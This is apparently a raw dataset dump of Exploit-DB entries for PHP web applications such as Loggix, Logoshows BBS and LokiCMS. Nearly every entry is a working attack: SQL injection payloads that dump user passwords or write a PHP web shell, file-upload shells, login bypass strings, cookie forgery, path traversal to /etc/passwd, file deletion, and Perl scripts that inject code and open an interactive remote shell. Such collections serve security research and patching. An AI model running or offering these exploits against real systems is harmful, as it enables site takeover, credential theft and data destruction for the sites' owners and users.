deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8389
Description: Loggix Project 9.4.5 - 'refer_id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-04-10
Author: Salvatore Fresta

Exploit:
*******   Salvatore "drosophila" Fresta   *******

[+] Application: Loggix Project
[+] Version: 9.4.5
[+] Website: http://loggix.gotdns.org

[+] Bugs: [A] Blind SQL Injection

[+] Exploitation: Remote
[+] Date: 10 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Blind SQL Injection

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: modules/comment/post.php

This bug allows a guest to execute arbitrary
queries.


*************************************************

[+] Code


- [A] Blind SQL Injection

POST /path/modules/comment/post.php HTTP/1.1\r\n
Host: site\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 177\r\n
\r\n
title=title&comment=comment&user_name=user&user_pass=password&parent_key=key&refer_id=-1' UNION ALL SELECT '<?php system($_GET['cmd']); ?>' INTO OUTFILE '/var/www/htdocs/rce.php


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-04-10]
Exploit-DB #27028
Description: LogicBill 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-12-25
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16132/info

LogicBill is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/helpdesk.php?__mode=[SQL]
http://www.example.com/helpdesk.php?__mode=view&__id=[SQL]
Exploit-DB #45326
Description: Logicspice FAQ Script 2.9.7 - Remote Code Execution
Type: webapps
Platform: php
Date: 2018-09-04
Author: AkkuS

Exploit:
# Exploit Title: Logicspice FAQ Script 2.9.7 - Remote Code Execution
# Dork: N/A
# Date: 2018-09-03
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://www.logicspice.com/products/faq-script
# Software Link: https://www.logicspice.com/app/webroot/files/document/phpmyfaq-2.9.7.zip
# Version: 2.9.7
# Category: Webapps
# Tested on: Kali linux

# Description : Logicspice FAQ Script 2.9.7 allows to upload arbitrary files which 
# leads to a remote command execution on the remote server.

# 1) Create a file with the below PHP code and save it as .php

<?php $cmd=$_GET['cmd']; system($cmd); ?>

# 2) Login to FAQ Script admin portal as priviliage user
# 3) At the left hand side go to Manage FAQ --> List FAQ (http://domain/admin/faqs)
# 4) Click at the Actions button of a current FAQ product --> Edit
# 5) Click (Image) button on Content panel.
# 6) Chose Upload section and browse your .php file.
# 7) Finaly click "Send it to Server". Script will give you a link belong to
# our php file.
# 8) verift the exploit:
# http://domain/webroot/files/uploadimages/e90a3_shell.php?cmd=id

# The request:

POST
/admin/faqs/faqimages?CKEditor=faqs-answer&CKEditorFuncNum=1&langCode=en
HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://server/admin/faqs/edit/eine-frage-fuer-onkel-peter
Cookie: __asc=3c88bfff1659e6148e6168c52d2;
__auc=3c88bfff1659e6148e6168c52d2; _ga=GA1.2.696[PII_REDACTED]960501;
_gid=GA1.2[PII_REDACTED][PII_REDACTED]; __zlcmid=oDhc8xpdUQvf8W;
admin_username=logicspice; admin_[CREDENTIAL_REDACTED]_admin;
CAKEPHP=omckos7rsug4u3e1k3uebi7ma5; PHPSESSID=be29d40p12q20gtpvlea8esp23
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]68202740
Content-Length: 267
----------------------------[PII_REDACTED][PII_REDACTED]68202740
Content-Disposition: form-data; name="upload"; filename="shell.php"
Content-Type: application/x-php

<?php $cmd=$_GET['cmd']; system($cmd); ?>
----------------------------[PII_REDACTED][PII_REDACTED]68202740--
Exploit-DB #42575
Description: Login-Reg Members Management PHP 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-08-28
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Login-Reg Members Management PHP 1.0 - Arbitrary File Upload
# Dork: N/A
# Date: 28.08.2017
# Vendor Homepage : https://www.codester.com/user/mostalo
# Software Link: https://www.codester.com/items/627/login-reg-members-management-php
# Demo: http://0log.890m.com/log/signup.php
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker upload arbitrary file....
#
# Vulnerable Source:
# .....................
# if ($_FILES['profile_pic']['size'] == 0){$rr2 = "no file";}
# if (is_uploaded_file($_FILES["profile_pic"]["tmp_name"])) {
# $filename = time() . '_' . $_FILES["profile_pic"]["name"];
# $filepath = 'profile_pics/' . $filename;
# if (!move_uploaded_file($_FILES["profile_pic"]["tmp_name"], $filepath)) {
# $error = "select img";
# .....................
# 	
# Proof of Concept:
# 
# Users profile picture arbitrary file can be uploaded ..
# 
# http://localhost/[PATH]/signup.php
# http://localhost/[PATH]/profile_pics/[ID_FILE].php
# 
# Etc...
# # # # #
Exploit-DB #27345
Description: LogIT 1.3/1.4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-03-02
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/16932/info

LogIT is prone to a remote file-include vulnerability. This issue is due to the application's failure to properly sanitize user-supplied input.

Attackers may specify remotely hosted script files to be executed in the context of the webserver hosting the vulnerable software. An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the webserver process. 

LogIT versions 1.3 and 1.4 are affected by this vulnerability; other versions may also be affected.

http://www.example.com/?pg=http://www.example2.com/evilcode
Exploit-DB #9389
Description: Logoshows BBS 2.0 - 'forumid' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-07
Author: Ruzgarin_Oglu

Exploit:
__________________________________________________________________________________________________________________________

# Author                  : Ruzgarin_Oglu

# Script Name           : Logoshows BBS v2.0

# Script Download      : http://www.logoshows.com/download/bbs88.rar

# Vulnerable Type      : Sql Injection

# Demo                    : http://www.logoshows.com/bbs/

# Licence And Pricing  : $1.00 USD

# Special Thanks        : By.Ultr@si(Student lol),Fortyseven,Rawage,Daniel-Koo,Subz3rr0,By.Seyfi,Fero,Septemb0x, ve ismini sayamadÄ±ÄŸÄ±m diÄŸer dostlarÄ±m...

___________________________________________________________________________________________________________________________________

Exploit:

/globepersonnel_forum.asp?forumid=[SQL]



POC:

http://www.victim.com/[path]/globepersonnel_forum.asp?forumid=[SQL]


Example

Username:

http://www.logoshows.com/bbs/globepersonnel_forum.asp?forumid=1+union+select+0,1,2,3,4,5,6,7,8,9,10,username,12,13,14,15,16,17,18,19+from+users

Password:

http://www.logoshows.com/bbs/globepersonnel_forum.asp?forumid=1+union+select+0,1,2,3,4,5,6,7,8,9,10,password,12,13,14,15,16,17,18,19+from+users


----Note----

Herkesin bir s*k*lme zamanÄ± vardÄ±r...
Bekleyin beni!

----Note----

# milw0rm.com [2009-08-07]
Exploit-DB #9399
Description: Logoshows BBS 2.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-08-07
Author: Dns-Team

Exploit:
#############################################################################
#                 		                                            #
#         Logoshows BBS 2.0 (Auth Bypass) SQL Injection Vulnerability       #
#                                                                	    #
#############################################################################

#############################################################################

[~]    -=[Dns-Team Marocain Hackers]=-

[~] Author: Dns-Team

[~] Contact: Q2[at]HoTmail[dot]Fr

[~] Site: www.Scam4u.com + www.Dns-Team.com

[~] Greetz: Sa4d + HSMX + Stack + PR0H4CK3RZ  + N@bilX + Ga3 RÃ©jÃ lÃ  Xd :)

[~] Download : http://www.logoshows.com/download/bbs88.rar

#[---------------------------------I'm Kh0K0m MÃ N!x--------------------------------------]
[Â»] Demo :
#
# http://www.logoshows.com/bbs/globepersonnel_login.asp
#
[Â»] Exploit :
#
#  username : ' or ' 1=1
#  password : ' or ' 1=1
#
#[------------------------------------------------------------------------------------]
#                  -   - +- Tnx Str0ke For UR Support -+ -  -
#########################################################################################################


# milw0rm.com [2009-08-07]
Exploit-DB #9400
Description: logoshows bbs 2.0 - File Disclosure / Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-08-07
Author: ZoRLu

Exploit:
Logoshows BBS 2.0 DD

ZoRLu

yildirimordulari.com - z0rlu.blogspot.com - turkguvenligi.info

ref: http://www.milw0rm.com/exploits/9389

vuln:

http://www.logoshows.com/bbs/database/globepersonnel.mdb

Logoshows BBS 2.0 ICH

yildirimordulari.com - z0rlu.blogspot.com - turkguvenligi.info

ref: http://www.milw0rm.com/exploits/9389

demo:

http://www.logoshows.com/bbs/globepersonnel_login.asp

exploit: 

javascript:document.cookie = "pb%5Fusername=admin; path=/";

exploit: 

javascript:document.cookie = "level=3; path=/";

after you go here:


after go here:

http://www.logoshows.com/bbs/globepersonnel_reply.asp?id=6&topic=6&recordnum=0

thanks: str0ke and all friends

# milw0rm.com [2009-08-07]
Exploit-DB #41210
Description: LogoStore - 'query' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-01
Author: Kaan KAMIS

Exploit:
Exploit Title: LogoStore - SQL Injection
Date: 27.01.2017
Software Link: https://codecanyon.net/item/logostore-buy-and-sell-logos-online/19379630
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

LogoStore is a web application that allows you to buy and sell logos online. Manage logos within your account, check others logos and sell your own!

Type of vulnerability:

An SQL Injection vulnerability in LogoStore allows attackers to read
arbitrary data from the database.

Vulnerable URL : http://locahost/LogoStore/search.php
Mehod : POST
Parameter : query

Simple Payload:
Type: UNION query
Payload: query=test' UNION ALL SELECT CONCAT(CONCAT('qqkkq','VnPVWVaYxljWqGpLLbEIyPIHBjjjjASQTnaqfKaV'),'qvvpq'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- oCrh&search=
Exploit-DB #6896
Description: Logz podcast CMS 1.3.1 - 'art' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-31
Author: ZoRLu

Exploit:
[~] Logz podcast CMS version 1.3.1 Remote sql inj
[~]
[~] download: http://sourceforge.net/project/showfiles.php?group_id=107225&package_id=178479&release_id=635701
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 31.10.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] 
[~] N0T: a.q kpss : ) )
[~]
[~] -----------------------------------------------------------

file:

fichiers/add_url.php

code:

       if (isset($_GET['art'])) {
	      $Article = $_GET['art']; 
	      
	      ...
	      
	      $Requete = "SELECT TITRE FROM ".TABLEARTICLES." WHERE ID = '".$Article."' ".$Conditions;
        $ResultRequete = requete_mysql($Requete);
	      
	   

Exploit:

http://localhost/script_path/fichiers/add_url.php?art=[SQL]

[SQL]= column number 1 (SELECT TITRE FROM ...)

1'+union+select+concat(user(),0x3a,database())/*

example:

http://example.com/scripth_path/fichiers/add_url.php?art=1'+union+select+concat(user(),0x3a,database())/*

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-10-31]
Exploit-DB #38569
Description: Lokboard - 'index_4.php' PHP Code Injection
Type: webapps
Platform: php
Date: 2013-06-10
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/60459/info

Lokboard is prone to a remote PHP code-injection vulnerability.

An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Lokboard 1.1 is vulnerable; other versions may also be affected. 

POST /lokboard/install/index_4.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/lokboard/install/index_3.php?error=1
Cookie: lang=; PHPSESSID=g4j89f6110r4hpl3bkecfpc7c1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
host=localhost&user=root&pass=toor&name=lokboard&pass_key=1234";phpinfo();//
Exploit-DB #5522
Description: LokiCMS 0.3.3 - Arbitrary File Delete
Type: webapps
Platform: php
Date: 2008-04-29
Author: cOndemned

Exploit:
Name   : LokiCMS 0.3.3 <= Arbitrary File Delete Vulnerability
Author : cOndemned
Greetz : ZaBeaTy, GregStar, irk4z, doctor, Avantura ;*
    
Usage:

    http://[target]/[lokiCMS]/admin.php?delete=[path]/[file]
        
PoC:

    http://[target]/[lokiCMS]/admin.php?delete=../includes/Config.php
       
    Deleting Config.php will casue situation when users won't be able to view index page
    normally. Only errors will be visible...

# milw0rm.com [2008-04-29]
Exploit-DB #5408
Description: LokiCMS 0.3.3 - Remote Command Execution
Type: webapps
Platform: php
Date: 2008-04-08
Author: girex

Exploit:
# Author:	__GiReX__
# mySite:	girex.altervista.org
# Date:		8/04/08

# CMS: 		LokiCMS <= 0.3.3
# Site:		lokicms.com

# Bug: 		PHP Code Injection
# Exploit:	Remote Command Execution

# Vuln Code: admin.php

#	if ($_GET['default'] != '') { // User want's to set the default page
#		writeconfig($c_password, $c_title, $c_header, $c_tagline, $c_footnote, stripslashes($_GET['default']), #		$c_theme, $c_language, $c_modrewrite, $c_simplelink, $c_code);

# Our bugged var $_GET['default'] is stripslashed so we don't need magic_quotes_gpc Off
# writeconfig() simply put text into Config.php

# This is a very bugged CMS, only most dengerous bug is here reported



#!/usr/bin/perl -w
# LokiCMS <= 0.3.3 Remote Command Execution Exploit
# Works with magic_quotes_gpc = On
# Coded by __GiReX__

use LWP::Simple;

if(not defined $ARGV[0])
{
     banner();
     print "[-] Usage: perl $0 [host] [path]\n";
     print "[-] Example: perl $0 localhost /lokicms/\n\n";
     exit;
}
 
my $host  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
   $host .=  $ARGV[1] unless not defined $ARGV[1];

banner();
get($host.'admin.php?default=\';passthru($_GET[\'cmd\']);//') or die '[-] Error requesting page: admin.php';

while(1)
{
     print "[+] Shell:~\$ ";
     chomp($cmd = <STDIN>);
     last if $cmd eq 'exit';
     last if is_error(getprint($host."includes/Config.php?cmd=${cmd}"));
     print $resp;
}

sub banner
{
     print "[+] LokiCMS <= 0.3.3 Remote Command Execution Exploit\n";
     print "[+] Coded by __GiReX__\n";
     print "\n";
}

# milw0rm.com [2008-04-08]
Exploit-DB #6744
Description: LokiCMS 0.3.4 - 'admin.php' Create Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-13
Author: JosS

Exploit:
# LokiCMS 0.3.4 (admin.php) Create Local File Inclusion Exploit
# url: http://www.lokicms.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website
#
# *Requirements: magic_quotes_gpc = Off

-----------------------------------------------------------
I had one idea when i saw http://milw0rm.com/exploits/6743
I created the exploit that creates LFI.
-----------------------------------------------------------

vuln file: admin.php
vuln code:

		case 'A_SAVE_G_SETTINGS': //save main settings
			writeconfig ( $c_password, $_POST['title'], $_POST['header'], $_POST['tagline'], $_POST
['footnote'], $c_default, $_POST['theme'], $_POST['language'], $_POST['modrewrite'], $_POST['simplelink'], $_POST
['code'] );
  			$c_theme = $_POST['theme'];
			include PATH . '/includes/Config.php';
			include PATH . '/languages/' . $c_lang . '.lang.php'; --------> FUCKING THIS INCLUDE!!!!
			$msg = $lang ['admin'] ['expressionSettingsSaved'];
	         break;

--------
Exploit:
--------

use LWP::UserAgent;

unless ($ARGV[0] && $ARGV[1])
{
    print "\n[x] LokiCMS 0.3.4 (admin.php) Create Local File Inclusion Exploit\n";
    print "[x] written by JosS - sys-project[at]hotmail.com\n";
    print "[x] usage: perl $0 [host] [path]\n";
    print "[x] example: perl $0 localhost /lokicms/ \n\n";
    exit(1);
}

my $lwp = new LWP::UserAgent or die;
 
my $target  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
   $target .=  $ARGV[1] unless not defined $ARGV[1];
   $target .= '/' unless $target =~ /^http:\/\/(.?)\/$/;

my $res = $lwp->post($target.'admin.php', 
                                [ 'LokiACTION' =>  'A_SAVE_G_SETTINGS',
                                  'language'   =>  '../../../../../../../../../../etc/passwd%00']);

if($res->is_error)
{
    print "[-] Exploit failed!\n";
    exit ();
}

--------

ENTERS ADMIN.PHP TO SEE /ETC/PASSWD

Ingenious work :D

# milw0rm.com [2008-10-13]
Exploit-DB #6737
Description: LokiCMS 0.3.4 - 'index.php' Arbitrary Check File
Type: webapps
Platform: php
Date: 2008-10-12
Author: JosS

Exploit:
# LokiCMS <= 0.3.4 (index.php page) Arbitrary Check File Exploit
# url: http://www.lokicms.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website

vulnerability:
The vulnerability allows to verify the existence of the files and directories around the server.
/etc/passwd (example)

vuln file: index.php
vuln code:
------------------------------------------------
if ( isset ( $_GET ) && isset ( $_GET['page'] ) ) $pagename = stripslashes ( trim ( $_GET['page'] ) );



// load the page

if ($pagename == '') {

	$name = $c_default;

	$nosimple = true;

} else {

	$name = $pagename;

};



if ($c_simplelink == true && $nosimple != true) {

	$content = findpage($name);

	if ($content == "") {$content = $c_default;};

} else {

	$content = $name;

};



// stupid fix due to subdomain problems

if ($c_modrewrite != true && $pagename != '') {if (file_exists(PATH . "/pages/" . $content) == false) {$content = $c_default;};};



// load the menu

$menu = getmenu($content, $c_modrewrite, $c_simplelink);



$content = parsepage($content);
------------------------------------------------

use strict;
use LWP::UserAgent;

sub lw
{

my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
		   $linux="0";
	    }else{
		    $linux="1";
	    }
		if($linux){
system("clear");
}
else{
system("cls");
}

}

&lw;

print "#################################################################\n";
print "#  LokiCMS 0.3.4 (index.php page) Arbitrary Check File Exploit  #\n";
print "#################################################################\n";

my $victim = $ARGV[0];
my $file = $ARGV[1];

 if((!$ARGV[0]) && (!$ARGV[1])) {
    print "\n[x] LokiCMS 0.3.4 (index.php page) Arbitrary Check File Exploit\n";
    print "[x] written by JosS - sys-project[at]hotmail.com\n";
    print "[x] usage: perl xpl.pl [host] [file]\n";
    print "[x] example: http://localhost/loki/ /includes/Config.php\n\n";
    exit(1);
 }
 
    print "\n[+] connecting: $victim\n";
    my $cnx = LWP::UserAgent->new() or die;
    my $go=$cnx->get($victim."index.php?page=../$file");
    if ($go->content =~ m/LokiCMS/ms) {
        print "[-] The file not exist\n\n";
    } else {
        print "[!] The file exist: $file\n\n";
    }

# live demo: http://demo.opensourcecms.com/lokicms/

# milw0rm.com [2008-10-12]
Exploit-DB #6743
Description: LokiCMS 0.3.4 - 'writeconfig()' Remote Command Execution
Type: webapps
Platform: php
Date: 2008-10-13
Author: girex

Exploit:
# Author:    __GiReX__	
# Homepage:  http://girex.altervista.org

# CMS:       LokiCMS 0.3.4
# URL:       http://www.lokicms.com/

# Description:  LokiCMS is still vulnerable to Remote Command Execution (see: http://milw0rm.com/exploits/5408)
# The exploit changed becouse the vars changed but the bugged function is the same: writeconfig()
# LokiCMS does not check the access to admin.php via POST...

#!/usr/bin/perl -w
# LokiCMS <= 0.3.4 Remote Command Execution Exploit
# Needs with magic_quotes_gpc = Off
# Coded by __GiReX__

use LWP::UserAgent;

if(not defined $ARGV[0])
{
     banner();
     print "[-] Usage: perl $0 [host] [path]\n";
     print "[-] Example: perl $0 localhost /lokicms/\n\n";
     exit;
}

my $lwp = new LWP::UserAgent or die;
 
my $target  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
   $target .=  $ARGV[1] unless not defined $ARGV[1];
   $target .= '/' unless $target =~ /^http:\/\/(.?)\/$/;

banner();
my $res = $lwp->post($target.'admin.php', 
                                [ 'LokiACTION' =>  'A_SAVE_G_SETTINGS',
                                  'title'      =>  "';echo \"<!-- INFECTED -->\";if(strlen(\$_SERVER['HTTP_CMD']))".
                                                   "passthru(\$_SERVER['HTTP_CMD']);//", 
                                  'language'   =>  'english-utf-8',
                                  'theme'      =>  'default' ]);

if($res->is_error)
{
    print "[-] Request mistake. Exploit terminated!\n";
    exit ();
}
							  
while(1)
{
    print "[+] shell:~\$ ";
    chomp($cmd = <STDIN>);
    last if $cmd eq 'exit';
     
    $lwp->default_header( 'CMD' => $cmd );
    my $res = $lwp->get($target.'includes/Config.php');
	 
    if($res->is_success and $res->content =~ /INFECTED/)
    {
        print "\n". substr($res->content, index($res->content, 'INFECTED') + 12)."\n";
    }
    else
    {
        print "[-] PHP Code not injected. maybe magic_quotes_gpc = On!\n";
        last;
    }
}

sub banner
{
     print "[+] LokiCMS 0.3.4 Remote Command Execution Exploit\n";
     print "[+] Coded by __GiReX__\n";
     print "\n";
}

# milw0rm.com [2008-10-13]